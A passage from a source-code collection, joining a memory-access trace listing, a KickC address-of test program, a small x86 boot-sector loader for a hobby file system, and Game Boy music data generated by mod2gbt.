{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 9, 'size': 16, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 4, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': True, 'congruent': 2, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'congruent': 4, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
| 31.160714
| 2,999
| 0.651232
|
e0fc1cc2546c23f83d63a4d99f46e7199e4aa308
| 681
|
asm
|
Assembly
|
src/test/ref/address-of-0.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | 2
|
2022-03-01T02:21:14.000Z
|
2022-03-01T04:33:35.000Z
|
src/test/ref/address-of-0.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
src/test/ref/address-of-0.asm
|
jbrandwood/kickc
|
d4b68806f84f8650d51b0e3ef254e40f38b0ffad
|
[
"MIT"
] | null | null | null |
// Test address-of - use the pointer to get the value
// Commodore 64 PRG executable file
.file [name="address-of-0.prg", type="prg", segments="Program"]
.segmentdef Program [segments="Basic, Code, Data"]
.segmentdef Basic [start=$0801]
.segmentdef Code [start=$80d]
.segmentdef Data [startAfter="Code"]
.segment Basic
:BasicUpstart(main)
.segment Code
main: {
.label SCREEN = $400
.label bp = b
.label b = 2
// for( byte b: 0..10)
lda #0
sta.z b
__b1:
// byte c = *bp +1
lda.z bp
clc
adc #1
// SCREEN[b] = c
ldy.z b
sta SCREEN,y
// for( byte b: 0..10)
inc.z b
lda #$b
cmp.z b
bne __b1
// }
rts
}
| 20.029412
| 63
| 0.582966
|
35bf192d1575bb33b098bae9e8d636d5ae3dae81
| 1,011
|
asm
|
Assembly
|
boot.asm
|
KenyStev/MicroFS_x86
|
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
|
[
"MIT"
] | null | null | null |
boot.asm
|
KenyStev/MicroFS_x86
|
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
|
[
"MIT"
] | null | null | null |
boot.asm
|
KenyStev/MicroFS_x86
|
56ac4fe5d6566fef1bbd3eeedabc8c0210062716
|
[
"MIT"
] | null | null | null |
; *************************************** ;
; boot.asm
; *************************************** ;
[ORG 0x7C00]
[BITS 16]
; *************************************** ;
; BOOT ENTRY POINT
; *************************************** ;
start:
cli
xor ax, ax
mov ds, ax
mov fs, ax
mov gs, ax
mov ss, ax
mov sp, 0x7C00
mov bp, sp
mov ax, PRG_ADDR
mov es, ax
sti
main:
xor bx, bx
push 20 ; count
push 2 ; sector
push 0 ; track
call floppy.read
add sp, 6
jmp 0x1000:0x00
; *************************************** ;
; DATA SECTION
; *************************************** ;
msgLoading: DB 'Preparing to load AtomicFS', 0x00
; *************************************** ;
; LIBRARIES
; *************************************** ;
%include "util.asm"
%include "floppy.asm"
; *************************************** ;
; BOOT SIGNATURE
; *************************************** ;
TIMES 510-($-$$) DB 0
DW 0xAA55
| 18.381818
| 49
| 0.313551
|
088f9b6e46f158922c286fee7db62e3907e0a75d
| 30,871
|
asm
|
Assembly
|
examples/music/funkyforest.asm
|
azurda/gingerbread
|
4e71a411224324a8d17b2b5baaab08074df1e68e
|
[
"Unlicense"
] | 109
|
2019-01-19T06:59:40.000Z
|
2022-03-02T10:33:50.000Z
|
examples/music/funkyforest.asm
|
azurda/gingerbread
|
4e71a411224324a8d17b2b5baaab08074df1e68e
|
[
"Unlicense"
] | 7
|
2020-01-03T21:52:40.000Z
|
2021-01-19T02:11:51.000Z
|
examples/music/funkyforest.asm
|
azurda/gingerbread
|
4e71a411224324a8d17b2b5baaab08074df1e68e
|
[
"Unlicense"
] | 14
|
2020-01-04T20:22:35.000Z
|
2021-08-14T07:02:52.000Z
|
; File created by mod2gbt
SECTION "funkyforest_0",ROMX
funkyforest_0:
DB $AB,$1F, $AB,$AA,$03, $93,$17, $8C,$0F
DB $00, $2F, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $28, $28, $22, $8C,$0F
DB $20, $20, $20, $20
DB $AB,$1F, $A3,$1F, $8E,$17, $8C,$0F
DB $28, $28, $22, $28
DB $20, $20, $20, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AB,$1F, $A3,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $28, $28, $00, $20
DB $A9,$1F, $A1,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $A6,$1F, $9F,$1F, $95,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $28, $28, $22, $20
DB $AB,$1F, $A3,$1F, $97,$17, $8C,$0F
DB $28, $28, $22, $20
DB $20, $20, $20, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_1",ROMX
funkyforest_1:
DB $A4,$1F, $9C,$1F, $8C,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $22, $20
DB $00, $00, $00, $20
DB $20, $93,$1F, $20, $8C,$0F
DB $00, $00, $00, $20
DB $00, $98,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $28, $00, $20
DB $00, $00, $00, $20
DB $AB,$1F, $9F,$1F, $8C,$17, $8C,$0F
DB $00, $00, $00, $20
DB $20, $28, $22, $8C,$0F
DB $00, $00, $00, $28
DB $00, $20, $20, $20
DB $00, $00, $00, $20
DB $A8,$1F, $9F,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $A9,$1F, $A1,$1F, $90,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $22, $20
DB $00, $00, $00, $20
DB $20, $20, $20, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $A8,$1F, $93,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $A9,$1F, $95,$1F, $8E,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $22, $20
DB $00, $00, $00, $20
DB $A8,$1F, $96,$10, $20, $8C,$0F
DB $00, $00, $00, $20
DB $A6,$1F, $97,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_2",ROMX
funkyforest_2:
DB $A8,$1F, $98,$1F, $90,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $22, $20
DB $00, $00, $00, $20
DB $20, $20, $20, $8C,$0F
DB $00, $00, $00, $20
DB $00, $98,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $28, $00, $20
DB $00, $00, $00, $20
DB $A8,$1F, $95,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $00, $20
DB $00, $00, $00, $20
DB $A9,$1F, $95,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AA,$1F, $94,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $00, $20
DB $AB,$1F, $93,$1F, $93,$17, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $22, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $20, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $97,$1F, $93,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $00, $20
DB $98,$1F, $95,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $97,$1F, $93,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_3",ROMX
funkyforest_3:
DB $AD,$1F, $9E,$1F, $8E,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $20, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $9A,$1F, $90,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $28, $00, $20
DB $00, $00, $20, $20
DB $AD,$1F, $9E,$1F, $00, $8C,$0F
DB $28, $28, $00, $20
DB $20, $20, $92,$17, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $00, $20
DB $00, $00, $20, $20
DB $AD,$1F, $9A,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AD,$1F, $9E,$1F, $8E,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $20, $20
DB $AB,$1F, $A3,$1F, $93,$17, $8C,$0F
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $20, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AB,$1F, $A3,$1F, $93,$17, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $00, $20
DB $00, $00, $00, $20
DB $00, $00, $90,$17, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $8E,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $AB,$1F, $A3,$1F, $93,$17, $8C,$0F
DB $AA,$1F, $A2,$1F, $00, $20
DB $A9,$1F, $A1,$1F, $00, $8C,$0F
DB $A8,$18, $A0,$18, $00, $20
DB $A6,$14, $9F,$14, $00, $8C,$0F
DB $20, $20, $20, $20
DB $AB,$1F, $9C,$1F, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_4",ROMX
funkyforest_4:
DB $AD,$1F, $9D,$1F, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $20, $20
DB $20, $20, $00, $00
DB $00, $00, $00, $00
DB $00, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $A1,$18, $00, $20
DB $00, $00, $20, $20
DB $B2,$1F, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $28, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $20, $A1,$18, $00, $20
DB $00, $00, $20, $20
DB $AD,$1F, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $B0,$1F, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A4,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $A1,$14, $00, $00
DB $00, $00, $00, $00
DB $00, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $9F,$18, $00, $20
DB $00, $00, $20, $20
DB $00, $A1,$14, $00, $00
DB $00, $00, $00, $00
DB $AD,$1F, $A4,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A9,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $A8,$14, $00, $00
DB $00, $00, $00, $00
DB $B2,$1F, $A4,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A1,$18, $00, $20
DB $00, $00, $20, $20
DB $B0,$1F, $9D,$14, $00, $00
DB $00, $00, $00, $00
DB $AD,$1F, $98,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $9A,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $9C,$14, $00, $00
DB $00, $00, $49,$00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_5",ROMX
funkyforest_5:
DB $AC,$1F, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A0,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $00, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $A0,$18, $00, $20
DB $00, $00, $20, $20
DB $B2,$1F, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $28, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $20, $A0,$18, $00, $20
DB $00, $00, $20, $20
DB $AC,$1F, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $B0,$1F, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A0,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $A4,$14, $00, $00
DB $00, $00, $00, $00
DB $AC,$1F, $9D,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $9F,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $A0,$14, $00, $00
DB $00, $00, $00, $00
DB $B2,$1F, $A4,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A9,$18, $00, $20
DB $00, $00, $20, $20
DB $B0,$1F, $A7,$14, $00, $00
DB $00, $00, $00, $00
DB $AC,$1F, $A4,$1C, $91,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $A0,$18, $00, $20
DB $00, $00, $20, $20
DB $20, $9D,$14, $00, $00
DB $00, $00, $00, $00
DB $AB,$1F, $9F,$1F, $93,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $20, $20
DB $20, $20, $00, $00
DB $00, $00, $49,$00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_6",ROMX
funkyforest_6:
DB $20, $20, $8C,$17, $8C,$8A,$03
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $20, $20
DB $B2,$1F, $A3,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $00, $20
DB $00, $00, $00, $20
DB $AB,$1F, $9C,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $B2,$1F, $9F,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $20, $9E,$1F, $00, $20
DB $00, $00, $00, $20
DB $B1,$1F, $9D,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $B0,$1F, $9C,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AD,$1F, $9C,$1F, $8C,$17, $8C,$0F
DB $00, $00, $00, $28
DB $28, $28, $00, $20
DB $00, $00, $20, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $AD,$1F, $9C,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $28
DB $20, $20, $00, $20
DB $00, $00, $00, $20
DB $AA,$1F, $9A,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $28, $28, $00, $8C,$0F
DB $00, $00, $00, $20
DB $20, $20, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_7",ROMX
funkyforest_7:
DB $AB,$1F, $A3,$1F, $93,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $28, $28, $22, $8C,$0F
DB $20, $20, $20, $20
DB $AB,$1F, $A3,$1F, $8E,$17, $8C,$0F
DB $28, $28, $22, $28
DB $20, $20, $20, $20
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $AB,$1F, $A3,$1F, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $28, $28, $00, $20
DB $A9,$1F, $A1,$1F, $00, $8C,$0F
DB $00, $00, $00, $20
DB $A6,$1F, $9F,$1F, $95,$17, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $28, $28, $22, $20
DB $AB,$1F, $A3,$1F, $97,$17, $8C,$0F
DB $28, $28, $22, $20
DB $20, $20, $20, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $AB,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $AD,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $28
DB $28, $00, $00, $20
DB $24, $00, $00, $20
DB $B0,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $B7,$2F, $00, $00, $8C,$0F
DB $24, $00, $00, $28
DB $B6,$2F, $00, $00, $20
DB $24, $00, $00, $20
DB $B4,$2F, $00, $00, $8C,$0F
DB $24, $00, $00, $20
DB $B7,$2F, $00, $00, $8C,$0F
DB $2C, $00, $00, $20
DB $28, $00, $00, $8C,$0F
DB $24, $00, $00, $20
DB $20, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_8",ROMX
funkyforest_8:
DB $BA,$2F, $9C,$1F, $8C,$17, $8C,$0F
DB $2C, $A4,$91,$00, $00, $28
DB $28, $9C,$91,$00, $22, $20
DB $24, $A4,$91,$00, $00, $20
DB $B9,$2F, $A4,$91,$00, $20, $8C,$0F
DB $00, $9C,$91,$00, $00, $20
DB $00, $A4,$1C, $00, $8C,$0F
DB $00, $9C,$18, $00, $28
DB $2C, $A4,$14, $00, $20
DB $28, $20, $00, $20
DB $BA,$2F, $A4,$1C, $8C,$17, $8C,$0F
DB $28, $00, $00, $20
DB $20, $20, $22, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $20, $20
DB $00, $00, $00, $20
DB $B9,$2F, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $95,$1F, $90,$17, $8C,$0F
DB $00, $9D,$91,$00, $00, $28
DB $2C, $95,$91,$00, $22, $20
DB $28, $9D,$91,$00, $00, $20
DB $B8,$2F, $95,$91,$00, $20, $8C,$0F
DB $28, $9D,$91,$00, $00, $20
DB $20, $95,$1C, $00, $8C,$0F
DB $00, $9D,$18, $00, $28
DB $00, $95,$14, $00, $20
DB $00, $20, $00, $20
DB $00, $9D,$1F, $00, $8C,$0F
DB $00, $28, $00, $20
DB $00, $20, $00, $8C,$0F
DB $00, $00, $00, $28
DB $00, $00, $00, $20
DB $00, $00, $00, $20
DB $00, $98,$1F, $00, $8C,$0F
DB $00, $28, $00, $20
DB $B4,$2F, $20, $8E,$17, $8C,$0F
DB $2C, $00, $00, $28
DB $28, $00, $22, $20
DB $24, $00, $00, $20
DB $B3,$2F, $98,$1F, $20, $8C,$0F
DB $24, $28, $00, $20
DB $B2,$2F, $20, $00, $8C,$0F
DB $24, $00, $00, $20
DB $20, $00, $00, $8C,$0F
DB $00, $00, $00, $20
DB $00, $00, $00, $8C,$0F
DB $00, $00, $49,$00, $20
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
DB $00, $00, $00, $00
SECTION "funkyforest_9",ROMX
funkyforest_9:
DB $B1,$2F, $97,$1F, $90,$17, $8C,$0F
DB $2C, $9F,$91,$00, $00, $28
DB $28, $97,$91,$00, $22, $20
DB $24, $9F,$91,$00, $00, $20
DB $20, $97,$91,$00, $20, $8C,$0F
DB $00, $9F,$91,$00, $00, $20
DB $B0,$2F, $97,$1C, $00, $8C,$0F
DB $2C, $9F,$18, $00, $28
DB $28, $97,$14, $00, $20
DB $24, $20, $00, $20
DB $AF,$2F, $9F,$1F, $00, $8C,$0F
DB $28, $28, $00, $20
